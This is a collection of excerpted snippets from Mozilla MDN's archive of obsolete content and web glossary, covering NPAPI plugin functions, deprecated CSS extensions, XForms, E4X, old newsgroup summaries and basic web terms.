... localization of amo and some other pages of mozilla.com suggestion on localizing popular add-ons as well as web pages at mozilla.com.
2006-10-06 - Archive of obsolete content
announcements firefox 2 release candidate 2 is now available for download beltzner announced ff2 rc2 is availabe for all 3 major platforms in some 40 langauges.
...also invites people to help extension developers test for compatibility (link to a bunch of extension compatability bugs) discussions reining in the release process a discussion of what can be done to speed up the release process.
... re: plan to hold trunk closed for lack of talkback dbaron mentioned that maybe trunk should be closed because of lack of talkbacks received ( bug 354835 is suspected).
2006-10-20 - Archive of obsolete content
this is a xulrunner 1.8.0.4 application.
... started wed, oct 18 2006 9:38 am - a xulrunner developer, frank, discusses his desire to make xul/browser based applications.
... he wants to be able to build applications that will run inside the browser.
2006-11-17 - Archive of obsolete content
boaz discuses the evolution of web browsers towards a more "application mode" whereas a web browser is loaded for the sole purpose of running a given website.
... boaz invites your comments xulrunner 1.8.0.4 is running a kiosk-type application on linux with 512mb, and there is the appearance of a significant memory leak.
...nickolay ponomarev lets us know that processing instructions are now added to xul document's dom this also means, you can no longer use document.firstchild in xul scripts to get the root element of a xul document and the xml-stylesheet and xul-overlay processing instructions outside the prolog no longer have any effect peter.sei...@gmail.com runs into some difficulties deploying xulrunner 1.8 on os x?
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 20 - october 27, 2006 announcements calendar test day october 31st a test date has been set for october 31st.
... more information can be found here.
... storage calendar optimization a general discussion on optimization of widgets, java and the core of calendar's database.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 27 - november 3, 2006 announcements test day results the calendar qa team had a successful test day on tuesday discussions storage format for events storage format of timestamps in lightning.
... wcap calendar subscription discussions about calendar subscriptions.
... last check-ins on sun-calendar-event-dialog.* files discussions about some localization issues with sun-calendar-event-dialog.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 3 - november 10, 2006 announcements calendar-qa team announces november 14th testday calendar-qa team celebrate some new functionality of calendar.
... calendar:improving the calendar views discussion about improving the layout of calendar.
... next steps for 24 hours view discussion about the improving of some features of calendar ex.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 10 - november 17, 2006 announcements no meeting for this week.
... webdav server a discussion related to remote calendar modifications.
... calendar xpcom component discussion about a debug error of additem function from calicalendar.
NPEvent - Archive of obsolete content
cursor location.
... type the type member is an int representing an event type, and indicating which structure is relevant.
... in addition to these standard types, the browser provides three additional event types that can be passed in the what field of the eventrecord: getfocusevent: sent when the instance could become the focus of subsequent key events, when the user clicks the instance or presses the tab key to focus the instance.
NPFullPrint - Archive of obsolete content
false: display print dialogs so user can choose printer, other options.
... mac os: thprint ms windows: printer's device context description the npp_print function passes the plug-in a pointer to an npprint object (previously allocated by the browser).
...if you want an embedded plug-in to simply render its area of the page, set pluginprinted to false and return immediately; the browser calls npp_print again with the npembedprint substructure of npprint.
NPN_DestroyStream - Archive of obsolete content
reason reason the stream was stopped so the application can give the user appropriate feedback.
... description the plug-in calls the npn_destroystream() function to close and delete a stream.
... this stream can be either a stream that the browser created and passed to the plug-in in npp_newstream(), or a stream created by the plug-in through a call to npn_newstream().
NPN_Enumerate - Archive of obsolete content
syntax #include <npruntime.h> bool npn_enumerate(npp npp, npobject *npobj, npidentifier **identifiers, uint32_t *identifiercount); parameters the function has the following parameters: npp the npp indicating which plugin instance is making the request.
... note: the caller must call npn_memfree() on the pointer received through the identifiers parameter of a successful call to npn_enumerate to release the array of string identifiers when it is no longer needed.
... the callee allocates this array via npn_memalloc().
NPN_GetProperty - Archive of obsolete content
syntax #include <npruntime.h> bool npn_getproperty(npp npp, npobject *npobj, npidentifier propertyname, npvariant *result); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin instance's is making the request.
...<tt>propertyname</tt> a string identifier indicating the name of the property whose value is to be retrieved.
... note: the caller must call npn_releasevariantvalue() to release the returned value when it's no longer needed.
NPN NewStream - Archive of obsolete content
a plug-in can create another instance of itself by specifying its own mime type and a new target name in a call to npn_newstream.
...the plug-in can use this object in subsequent calls to npn_write to write data into the stream.
... when the plug-in has written all of its data into the stream, npn_destroystream terminates the stream and deallocates the npstream object.
NPN_ReleaseVariantValue - Archive of obsolete content
this must always be called on result variants and such in this api, i.e.
... any npvariant whose value comes from a call that passes back an npvariant must be released using this function.
...npn_releasevariantvalue() will call npn_releaseobject() on npvariants of type npvarianttype_object, and npn_memfree() on npvariants of type npvarianttype_string.
NPN_Write - Archive of obsolete content
this indicates that the browser encountered an error while processing the data, so the plug-in should terminate the stream by calling npn_destroystream().
...a plug-in can call this function multiple times after creating a stream with npn_newstream().
... the browser makes a copy of the buffer if necessary, so the plug-in can free the buffer as the method returns, if desired.
NPObject - Archive of obsolete content
npobjects are reference counted objects, so callers need to be careful to properly release acquired references to them.
...npobject behavior is implemented using the set of callback functions defined in npclass.
... syntax struct npobject { npclass *_class; uint32_t referencecount; /* * additional space may be allocated here by types of npobjects */ }; fields _class a pointer to the npclass of which the object is a member.
NPP - Archive of obsolete content
syntax typedef struct _npp { void* pdata; /* plug-in private data */ void* ndata; /* mozilla private data */ } npp_t; typedef npp_t* npp; fields the data structure has the following fields: pdata a value, whose definition is up to the plug-in, that the plug-in can use to store a pointer to an internal data structure associated with the instance; this field isn't modified by the browser.
...this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should operate.
...the npp_destroy() function informs the plug-in when the npp instance is about to be deleted; after this call returns, the npp pointer is no longer valid.
NPP_DestroyStream - Archive of obsolete content
npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
... description the browser calls the npp_destroystream function when a data stream sent to the plug-in is finished, either because it has completed successfully or terminated abnormally.
... you should delete any private data allocated in stream->pdata at this time, and should not make any further references to the stream object.
NPP_Print - Archive of obsolete content
description npp_print is called when the user requests printing for a web page that contains a visible plug-in (either embedded or full-page).
...be sure to cast this to type hdc.
...this means that you need to convert the x-y coordinates using the windows api call dptolp when you output text.
NPPrint - Archive of obsolete content
plug-in can optionally print in full-page mode.
... description the npp_print function passes a pointer to an npprint object (previously allocated by the browser) to the plug-in.
... the pointer and fields within the npprint structure are valid only for the duration of the npp_print call.
NP_GetMIMEDescription - Archive of obsolete content
one mime type // example inside http://mxr.mozilla.org/mozilla-central/source/modules/plugin/sdk/samples/basic/unix/plugin.cpp #define mime_type_description "application/basic-plugin:bsp:basic example plug-in for mozilla" const char* np_getmimedescription(void) { return(mime_types_description); } two mime types const char* np_getmimedescription(void) { return "application/basic-example-plugin:xmp1:example 1;application/basic-example2-plugin:xmp2, xm2p:example 2"; } gnome integration if you use gnome vfs (gnome-vfs-2.0), you can get the mime type descr...
... #include <libgnomevfs/gnome-vfs-mime-handlers.h> #include <libgnomevfs/gnome-vfs-mime-info.h> #include <libgnomevfs/gnome-vfs-utils.h> // const char* gnome_vfs_mime_get_description (const char *mime_type); const char* desc = gnome_vfs_mime_get_description ("audio/ogg"); if you use gnome gio (gio-2.0), you can get the mime type description too.
... #include <gio/gio.h> const char* desc = g_content_type_get_description("audio/ogg"); javascript inside a web page, you can retrieve these informations with this code: var mimetype = navigator.mimetypes['application/basic-example-plugin']; if (mimetype) { alert(mimetype.type + ':' + mimetype.suffixes + ':' + mimetype.description); } ...
title - Archive of obsolete content
netscape rss 0.91 revision 3 example <?xml version="1.0"?> <!doctype rss system "http://my.netscape.com/publish/formats/rss-0.91.dtd"> <rss version="0.91"> <channel> <title>advogato</title> <link>http://www.advogato.org/article/</link> <description>recent advogato articles</description> <language>en-us</language> <image> <link>http://www.advogato.org/</link> <title>advogato</title> ...
... <url>http://www.advogato.org/image/tinyadvogato.png</url> </image> <item> <title>why can i not get any tang?!</title> <link>http://www.advogato.org/article/10101.html</link> <description>seriously.
... why can't i get any tang?</description> </item> </channel> </rss> attributes none sub-elements none parent elements the table below shows a list of rss elements that this element can be a child of.
Security - Archive of obsolete content
decryption is the process of transforming encrypted information so that it is intelligible again.introduction to public-key cryptographypublic-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) communications.
...ssl has been universally accepted on the world wide web for authenticated and encrypted communication between clients and servers.nspr release engineering guidethis paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms.ssl and tlsthe secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted communication between clients and server...
...both client and server authentication occur over ssl/tls.
Solaris 10 Build Prerequisites - Archive of obsolete content
the tools included with solaris and sun studio should be sufficient for building mozilla, so you can skip this.
...fortunately, it also isn't necessary, so you can fix this problem by simply removing the reference to that package from the installer script (cbe-install).
...build glib/atk/cairo/pango/gtk2/dbus/dbus-glib/firefox.
The Basics of Web Services - Archive of obsolete content
web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other.
... a better way to understand a web service is to compare it to a html form communication with a server side script (such as php or asp) to post and send data.
... examples of web services in action as said before, rss and atom feeds are a simple example of how a web service works, most commonly, xml-rpc or soap are also used to communicate between a server and a client.
Summary of Changes - Archive of obsolete content
proprietary or deprecated feature w3c feature or recommended replacement deprecated font html 4.01 span plus css1 color: ; font-family: ; font-size: ; deprecated center or align="center" css1 text-align: center; for in-line elements like text or image deprecated center or align="center" css1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1 background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripti...
...ng non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or recommended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attribute_value] dom level 2: document.getelementbyid(id_attribute_value) ie5+ formname.inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ formctrlname dom level 1: document.forms["formname"].formctrlname ie5+ document.forms(0) dom level 1: document.forms[0] ie elemref.innertext dom level 1 (core) interface we could introduce dom 3 core textcontent attribute her...
...http://www.w3.org/tr/2004/rec-dom-le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated feature w3c feature or recommended replacement ...
Using Web Standards in your Web Pages - Archive of obsolete content
the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while accommodating old browsers." -web standards project this article provides an overview of the process for upgrading the content of your web pages to conform to the world wide web consortium (w3c) web standards.
... the first 2 sections address exclusively validation issues, benefits of validation, deprecated elements, deprecated attributes.
...every proposed w3c web standards replacement in this article is working without a problem in modern browsers like msie 7, firefox 2, opera 9, safari 3, konqueror 3.5+, icab 4, etc.
-moz-border-bottom-colors - Archive of obsolete content
in mozilla applications like firefox, the -moz-border-bottom-colors css property sets a list of colors for the bottom border.
... formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not part of any specification.
-moz-border-left-colors - Archive of obsolete content
in mozilla applications like firefox, the -moz-border-left-colors css property sets a list of colors for the left border.
... formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not part of any specification.
-moz-border-right-colors - Archive of obsolete content
in mozilla applications like firefox, the -moz-border-right-colors css property sets a list of colors for the right border.
... formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not part of any specification.
-moz-border-top-colors - Archive of obsolete content
in mozilla applications like firefox, the -moz-border-top-colors css property sets a list of colors for the top border.
... formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not part of any specification.
-ms-content-zooming - Archive of obsolete content
formal syntax none | zoom specifications not part of any specification.
... by default, zoom-enabled elements can be zoomed by the user via pinch-zoom.
... the top-level element can also be zoomed via double-tap when it is zoom-enabled.
-ms-hyphenate-limit-chars - Archive of obsolete content
the -ms-hyphenate-limit-chars css property is a microsoft extension that specifies one to three values indicating the minimum number of characters in a hyphenated word.
... initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto corresponds to a value of 5 2 2, indicating a 5-character word limit, 2 characters required before a hyphenation break, and 2 characters required following a hyphenation break.
... formal syntax auto | <integer>{1,3} specifications not part of any specification.
-ms-hyphenate-limit-lines - Archive of obsolete content
initial valueno-limitapplies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values no-limit indicates that hyphenation is not limited based on the number of consecutive hyphenated lines.
... <integer> indicates the maximum number of successive hyphenated lines.
... formal syntax no-limit | <integer> specifications not part of any specification.
-ms-overflow-style - Archive of obsolete content
none scrollbars are never displayed, although the element can still be scrolled if the element's content overflows.
...accordingly, the dimensions of the layout area for the content are reduced by the width (for vertical scrollbars) or height (for horizontal scrollbars) of the scrollbar(s).
... formal syntax auto | none | scrollbar | -ms-autohiding-scrollbar specifications not part of any specification.
-ms-touch-select - Archive of obsolete content
formal syntax grippers | none specifications not part of any specification.
... the -ms-touch-select property should only be used by applications that provide their own selection experience.
... most other applications should use the -ms-user-select property instead.
-ms-wrap-through - Archive of obsolete content
formal syntax wrap | none specifications not part of any specification.
... remarks you can use the -ms-wrap-through property to control the effect of exclusions; for instance, to cause one content block to wrap around an exclusion element and another to intersect the same exclusion element.
...for more information about exclusion elements' impact on content flow, see the terminology section of the css exclusions module level 1 specification.
::-ms-browse - Archive of obsolete content
permitted properties only the following css properties can be used in a rule with ::-ms-browse in its selector.
...left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-browse example html <label>select image: <input type="file"></label> css input[type="file"]::-ms-browse { color: red; background-color: yellow; } result output example specifications not part of any specification.
... browser compatibility historically supported in internet explorer and edge before version 79.
::-ms-check - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-check in its selector.
... screenshotlive sample specifications not part of any specification.
... browser compatibility historically supported in internet explorer and edge before version 79.
::-ms-expand - Archive of obsolete content
typically it is a triangle that points downward.
... allowable properties only the following css properties can be used in a rule with ::-ms-expand in its selector.
...order-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-clear specifications not part of any specification.
::-ms-fill-lower - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-fill-lower in its selector.
...splay (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width specifications not part of any specification.
... browser compatibility historically supported in internet explorer and edge before version 79.
::-ms-fill-upper - Archive of obsolete content
allowable properties only the following css properties can be used in a rule with ::-ms-fill-upper in its selector.
...lock, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-fill-upper specifications not part of any specification.
... browser compatibility historically supported in internet explorer and edge before version 79.
::-ms-fill - Archive of obsolete content
an indeterminate progress bar can be selected with the :indeterminate pseudo-class.) by default, internet explorer and edge display a moving dots animation for an indeterminate progress bar.
... by setting animation-name on ::-ms-fill, you can change the animation, as shown in this table: value description none turns off the animation so that no dots are displayed.
... allowable properties only the following css properties can be used in a rule with ::-ms-fill in its selector.
::-ms-thumb - Archive of obsolete content
the ::-ms-thumb css pseudo-element is a microsoft extension that represents the thumb that the user moves within the track of a slider control to alter its numerical value.
... allowable properties only the following css properties can be used in a rule with ::-ms-thumb in its selector.
...ine-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-thumb specifications not part of any specification.
Descendants and Filters - Archive of obsolete content
« previousnext » accessing descendants in many cases, the node that you're interested in is not the direct child of the top xml element.
...you can access nodes at any depth using the ..
...filters in many cases, especially with the * selector, you don't want to work with all of the nodes that would be returned by the .
The global XML object - Archive of obsolete content
« previous the global xml object e4x-capable javascript engines put a new property on the global object.
...extending xml.prototype xml.prototype and xmllist.prototype (xmllist.prototype is actually just xml.prototype) cannot be extended in the same conventional way as other constructors such as object.
... you can only define methods in xml.prototype and not fields.
Using JavaScript Generators in Firefox - Archive of obsolete content
generators can be used to simplify asynchronous code in firefox by opting in to using javascript version 1.7 or later.
... you can opt in in html as follows: <script type="text/javascript;version=1.7" src="myscript.js"></script> then your myscript.js file might look like this: // need to stash the generator in a global variable.
...function grabevent(event) { generator.send(event); } // when we're all done we can close the generator, but that must happen outside // of the generator so we use a timeout.
Function.prototype.isGenerator() - Archive of obsolete content
syntax fun.isgenerator() return value a boolean indicating whether or not the given function is a generator.
...it was part of an early harmony proposal, but has not been included in the ecmascript 2015 specification.
... examples function f() {} function* g() { yield 42; } console.log('f.isgenerator() = ' + f.isgenerator()); // f.isgenerator() = false console.log('g.isgenerator() = ' + g.isgenerator()); // g.isgenerator() = true specifications not part of any standard.
Error.number - Archive of obsolete content
example the following example causes an exception to be thrown and displays the error code that is derived from the error number.
... try { // cause an error.
... var x = y; } catch(e) { document.write ("error code: "); document.write (e.number & 0xffff) document.write ("<br />"); document.write ("facility code: ") document.write(e.number>>16 & 0x1fff) document.write ("<br />"); document.write ("error message: ") document.write (e.message) } example the output of this code is as follows.
@if - Archive of obsolete content
you can use multiple @elif clauses.
... the @if statement is typically used to determine which text among several options should be used for text output.
...this is because the capabilities of the compilers can be determined by using other methods.
@set - Archive of obsolete content
variables created using @set are generally used in conditional compilation statements, but can be used anywhere in javascript code.
...nan can be checked for using the @if statement: @if (@newvar != @newvar) ...
... this works because nan is the only value not equal to itself.
New in JavaScript 1.4 - Archive of obsolete content
the following is a changelog for javascript 1.4, which was only used for netscape's server side javascript released in 1999.
... the old netscape documentation can be found on archive.org.
... new features in javascript 1.4 exception handling (throw and try...catch) in operator instanceof operator changed functionality in javascript 1.4 eval() changes (cannot be called indirectly and no longer a method of object) arguments not a property of functions deprecated function.arity in favor of function.length changes to liveconnect ...
Object.prototype.eval() - Archive of obsolete content
the expression can include variables and properties of existing objects.
... description the eval method can no longer be used as a method of an object.
... specifications not part of any standard.
Object.getNotifier() - Archive of obsolete content
the object.getnotifer() method was used to create an object that allows to synthetically trigger a change, but has been deprecated and removed in browsers.
... specifications not part of any standard.
... strawman proposal specification.
MSX Emulator (jsMSX) - Archive of obsolete content
the initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and javascript language in the most recent web browsers like firefox 2.
...jsmsx can also be used to tightly integrate existing msx programs in web page logic.
...external links view the online demo (requires firefox 2+) jsmsx project see also drawing graphics with canvas canvas tutorial jsc64 the 100% javascript / canvas commodore 64 emulator ...
forEach - Archive of obsolete content
feel free to alter the text as english is not my mother tongue and i'm more concerned with the code quality that the english grammar ;-s dotnetcarpenter 30 june 2012 <hr> the compatibility section goes to extraordinary lengths in providing a foreach implementation.
...dotnetcarpenter 30 june 2012 <hr> i have released the write access restriction, but i will be watching changes closely.
... if (value>1){ return false;//we could have some way to break when we return false } }); //woulld print 1 2 --porfirio 11:17, 22-06-2008 another option would be to throw stopiteration and catch it within foreach().
RFE to the Custom Controls - Archive of obsolete content
xul, in many cases, is much better suited for application development than xhtml.
... therefore the control set may need to be more extensive to address the wider spectrum of requirements that a xul application will have on its controls.
... output should show data in current locale format the bug 331585 address the issue.
RFE to the XForms API - Archive of obsolete content
ArchiveWebXFormsRFEXForms API
the term xforms api can fall into two categories.
...mozilla xforms doens't offer any service you can get via xpcom.
... reflect attributes to properties for the elements that can contain the incremental or selection attributes, it makes sense to expose analogous properties.
XForms Label Element - Archive of obsolete content
the label text can be specified in instance data, in a remote document, or as inline text.
... ui behavior accesskey support - if the accesskey attribute is specified on labeled xforms controls or on the label element itself then the label text for the control will contain an indicator as to what the access key is in a standard way.
... type restrictions the label element can be bound to any simple content.
XForms Trigger Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type.
... representations the xforms trigger element can be represented by the following widgets for the specified appearance attribute values: button - default representation (xhtml/xul) link/clickable text - used when appearance = 'minimal' (xhtml only) button displaying a button is the default presentation (xhtml/xul).
... characteristics analogous widgets are <html:input type="button"/> and <xul:button/> link/clickable text xforms authors can use this representation if they want to have a widget like a xhtml anchor (xhtml only).
XForms Upload Element - Archive of obsolete content
a filter can be specified to limit the types of files that the user can select from.
...the xforms author can set the filter by using the mediatype attribute directly on the upload element or by placing a mediatype element (see the spec) as a direct child of the upload element.
... type restrictions the upload element can be bound to a node of type xsd:anyuri, xsd:base64binary or xsd:hexbinary or any type derived from one of these.
Window: devicelight event - Archive of obsolete content
bubbles no cancelable no interface sensorcallback target defaultview (window) other properties property type description value read only double (float) the sensor data for ambient light in lux.
... examples window.addeventlistener('devicelight', function(event) { console.log(event.value); }); specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
... candidate recommendation removed from specification ...
XQuery - Archive of obsolete content
while xquery is currently not supported in firefox (whether through javascript to developers or to browser users), at least one extension has been developed to give a preliminary support for xquery for browser users (and serving as a simple model for how xquery can be implemented within extensions).
... xquseme is a working proof-of-concept (so far tested on windows and linux with java installed; mac does not work) extension which allows one to perform xqueries on external urls, the currently loaded webpage (even if originally from poorly formed html), and/or xml (including well-formed xhtml) documents stored locally.
... the extension now includes and interfaces with the open-source version of saxonica's saxon b (though this extension currently only performs the xqueries).
Publishing games - Game development
you can benefit from the web being truly multiplatform.
...game distribution provides all you need to know about the ways you can distribute your newly created game into the wild — including hosting it yourself online, submitting it to open marketplaces, and submitting it to closed ones like google play or the ios app store.
...there are many game promotion techniques — many of them free — so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game.
Win the game - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson12.html.
...ode into your ballhitbrick() function: function ballhitbrick(ball, brick) { brick.kill(); score += 10; scoretext.settext('points: '+score); var count_alive = 0; for (i = 0; i < bricks.children.length; i++) { if (bricks.children[i].alive == true) { count_alive++; } } if (count_alive == 0) { alert('you won the game, congratulations!'); location.reload(); } } we loop through the bricks in the group using bricks.children, checking for the aliveness of each with each brick's .alive() method.
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps both losing and winning are implemented, so the core gameplay of our game is finished.
Accessibility tree (AOM) - MDN Web Docs Glossary: Definitions of Web-related terms
browsers convert markup into an internal representation called the dom tree.
... there are four things in an accessibility tree object: name how can we refer to this thing?
... additionally, the accessibility tree often contains information on what can be done with an element: a link can be followed, a text input can be typed into, etc.
BigInt - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, bigint is a numeric data type that can represent integers in the arbitrary precision format.
... in other programming languages different numeric types can exist, for examples: integers, floats, doubles, or bignums.
... learn more general knowledge numeric types on wikipedia technical reference the javascript data structure: bigint the javascript global object bigint ...
Block - MDN Web Docs Glossary: Definitions of Web-related terms
the term block can have several meanings depending on the context.
...for example, <p> is by default a block-level element, whereas <a> is an inline element — you can put several links next to one another in your html source and they will sit on the same line as one another in the rendered output.
...for example, you can put a block of statements after an if (condition) block, indicating that the interpreter should run the code inside the block if the condition is true, or skip the whole block if the condition is false.
Boolean - MDN Web Docs Glossary: Definitions of Web-related terms
in computer science, a boolean is a logical data type that can have only the values true or false.
...e.log("boolean conditional resolved to false"); } /* javascript for loop */ for (control variable; boolean conditional; counter) { // code to execute repeatedly if the conditional is true } for (var i=0; i < 4; i++) { console.log("i print only when the boolean conditional is true"); } the boolean value is named after english mathematician george boole, who pioneered the field of mathematical logic.
... learn more general knowledge boolean on wikipedia technical reference the javascript global object: boolean javascript data types and data structures ...
Breadcrumb - MDN Web Docs Glossary: Definitions of Web-related terms
a breadcrumb, or breadcrumb trail, is a navigational aid that is typically placed between a site's header and the main content, displaying either a hierarchy of the current page in relation to the the site's structure, from top level to current page, or a list of the links the user followed to get to the current page, in the order visited.
... a location breadcrumb for this document might look something like this: mdn > glossary > breadcrumb breadcrumb trails enable users to be aware of their location within a website.
...they can also help a user get back to where they were before and can reduce the number of clicks needed to get to a higher-level page.
Browsing context - MDN Web Docs Glossary: Definitions of Web-related terms
in modern browsers, it usually is a tab, but can be a window or even only parts of a page, like a frame or an iframe.
... communication between browsing context is severaly constrained.
... between browsing context of the same origin, a broadcastchannel can be opened and used.
CRLF - MDN Web Docs Glossary: Definitions of Web-related terms
cr and lf are control characters or bytecode that can be used to mark a line break in a text file.
... cr = carriage return (\r, 0x0d in hexadecimal, 13 in decimal) — moves the cursor to the beginning of the line without advancing to the next line.
... learn moreedit general knowledge newline on wikipedia carriage return on wikipedia ...
Selector (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
consider this css: p { color: green; } div.warning { width: 100%; border: 2px solid yellow; color: white; background-color: darkred; padding: 0.8em 0.8em 0.6em; } #customized { font: 16px lucida grande, arial, helvetica, sans-serif; } the selectors here are "p" (which applies the color green to the text inside any <p> element), "div.warning" (which makes any <div> element with the class "warning" look like a warning box), and "#customized", which sets the base font of the element with the id "customized" to 16-pixel tall lucida grande or one of a few fallback fonts.
... we can then apply this css to some html, such as: <p>this is happy text.</p> <div class="warning"> be careful!
...</div> <div id="customized"> <p>this is happy text.</p> <div class="warning"> be careful!
CSS pixel - MDN Web Docs Glossary: Definitions of Web-related terms
the css pixel—denoted in css with the suffix px—is a unit of length which roughly corresponds to the width or height of a single dot that can be comfortably seen by the human eye without strain, but is otherwise as small as possible.
... by definition, this is the physical size of a single pixel at a pixel density of 96 dpi, located an arm's length away from the viewer's eyes.
... learn more technical reference css values and units module, section 5.2: absolute lengths learn about it css length explained on the mdn hacks blog ...
Certified - MDN Web Docs Glossary: Definitions of Web-related terms
certified means that an application, content or data transmission has successfully undergone evaluation by professionals with expertise in the relevant field, thereby indicating completeness, security and trustworthiness.
... for details on certification in cryptography, please refer to digital certificate.
... learn more general knowledge information security tutorial certification on wikipedia ...
Cipher suite - MDN Web Docs Glossary: Definitions of Web-related terms
a cipher suite is a combination of a key exchange algorithm, authentication method, bulk encryption cipher, and message authentication code.
... in a cryptosystem like tls, the client and server must agree on a cipher suite before they can begin communicating securely.
